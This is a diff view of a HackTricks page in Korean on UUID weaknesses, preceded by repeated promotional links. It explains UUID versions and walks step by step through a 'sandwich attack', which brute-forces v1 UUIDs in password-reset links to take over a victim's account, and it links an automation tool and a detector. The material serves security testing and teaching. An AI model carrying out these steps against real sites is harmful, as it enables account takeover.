* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 여러분의 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* 여러분의 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
76
pentesting-web/uuid-insecurities.md
Normal file
76
pentesting-web/uuid-insecurities.md
Normal file
|
@ -0,0 +1,76 @@
|
|||
# UUID 보안 취약점
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소를 팔로우하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
범용 고유 식별자(UUID)는 컴퓨터 시스템에서 정보를 고유하게 식별하는 데 사용되는 **128비트 숫자**입니다. UUID는 중앙 조정 없이 고유 식별자가 필요한 응용 프로그램에서 필수적입니다. 데이터베이스 키로 자주 사용되며 문서 및 세션과 같은 다양한 요소를 가리킬 수 있습니다.
|
||||
|
||||
UUID는 고유하고 **추측하기 어렵도록 설계**되었습니다. 특정 형식으로 구조화되어 있으며 32개의 16진수 숫자로 표시된 다섯 그룹으로 나뉩니다. UUID에는 각각 다른 목적을 가지는 다양한 버전이 있습니다:
|
||||
|
||||
* **UUID v1**은 시간 기반으로 타임스탬프, 클록 시퀀스 및 노드 ID(MAC 주소)를 통합하지만 시스템 정보 노출 가능성이 있습니다.
|
||||
* **UUID v2**는 v1과 유사하지만 로컬 도메인을 위한 수정 사항이 포함되어 있습니다(거의 사용되지 않음).
|
||||
* **UUID v3 및 v5**는 네임스페이스 및 이름의 해시 값에서 UUID를 생성하며, v3은 MD5를 사용하고 v5는 SHA-1을 사용합니다.
|
||||
* **UUID v4**는 거의 완전히 무작위로 생성되어 높은 익명성을 제공하지만 약간의 중복 위험이 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
UUID의 버전 및 하위 버전은 일반적으로 UUID 내에서 동일한 위치에 나타납니다. 예를 들어:\
|
||||
12345678 - abcd - 1a56 - a539 - 103755193864\
|
||||
xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
|
||||
|
||||
* **M의 위치**는 UUID **버전**을 나타냅니다. 위의 예에서는 UUID v**1**입니다.
|
||||
* **N의 위치**는 UUID 변형을 나타냅니다.
|
||||
{% endhint %}
|
||||
|
||||
## 샌드위치 공격
|
||||
|
||||
"샌드위치 공격"은 특정 유형의 공격으로, 특히 비밀번호 재설정과 같은 기능에서 UUID v1 생성의 예측 가능성을 **악용**합니다. UUID v1은 시간, 클록 시퀀스 및 노드의 MAC 주소를 기반으로 생성되므로, 공격자가 이러한 UUID 중 일부를 시간적으로 가까이 생성할 수 있다면 다소 예측 가능할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
|
||||
UUID v1을 비밀번호 재설정 링크 생성에 사용하는 웹 애플리케이션을 상상해보세요. 공격자가 이를 악용하여 무단 액세스를 얻을 수 있습니다:
|
||||
|
||||
1. **초기 설정**:
|
||||
|
||||
* 공격자는 두 개의 이메일 계정을 제어합니다: \`attacker1@acme.com\` 및 \`attacker2@acme.com\`.
|
||||
* 대상의 이메일 계정은 \`victim@acme.com\`입니다.
|
||||
|
||||
2. **실행**:
|
||||
|
||||
* 공격자는 첫 번째 계정(\`attacker1@acme.com\`)에 대한 비밀번호 재설정을 트리거하고 UUID가 포함된 비밀번호 재설정 링크를 받습니다. 예를 들어 \`99874128-7592-11e9-8201-bb2f15014a14\`.
|
||||
* 즉시 이후에, 공격자는 피해자의 계정(\`victim@acme.com\`) 및 두 번째 공격자가 제어하는 계정(\`attacker2@acme.com\`)에 대한 비밀번호 재설정을 트리거합니다.
|
||||
* 공격자는 두 번째 계정에 대한 재설정 링크를 받습니다. 예를 들어 \`998796b4-7592-11e9-8201-bb2f15014a14\`.
|
||||
|
||||
3. **분석**:
|
||||
|
||||
* 공격자는 시간적으로 가까이 생성된 두 개의 UUID(\`99874128\` 및 \`998796b4\`)를 가지고 있습니다. 시간 기반 UUID의 순차적 특성으로 인해 피해자의 계정을 위한 UUID는 이 두 값 사이에 있을 가능성이 높습니다.
|
||||
|
||||
4. **무차별 대입 공격**:
|
||||
|
||||
* 공격자는 이 두 값 사이의 UUID를 생성하는 도구를 사용하고 각 생성된 UUID를 테스트하여 비밀번호 재설정 링크에 액세스를 시도합니다(예: \`https://www.acme.com/reset/\<생성된-UUID>\`).
|
||||
* 웹 애플리케이션이 이러한 시도를 충분히 제한하거나 차단하지 않는 경우, 공격자는 범위 내의 모든 가능한 UUID를 빠르게 테스트할 수 있습니다.
|
||||
|
||||
5. **액세스 획득**:
|
||||
|
||||
* 피해자의 비밀번호 재설정 링크에 대한 올바른 UUID를 발견하면, 공격자는 피해자의 계정으로 비밀번호를 재설정하고 무단 액세스를 얻을 수 있습니다.
|
||||
|
||||
### 도구
|
||||
|
||||
* 샌드위치 공격을 자동으로 수행할 수 있는 도구: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
||||
* Burp Suite에서 이 유형의 UUID를 감지할 수 있는 확장 프로그램 [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
|
Loading…
Reference in a new issue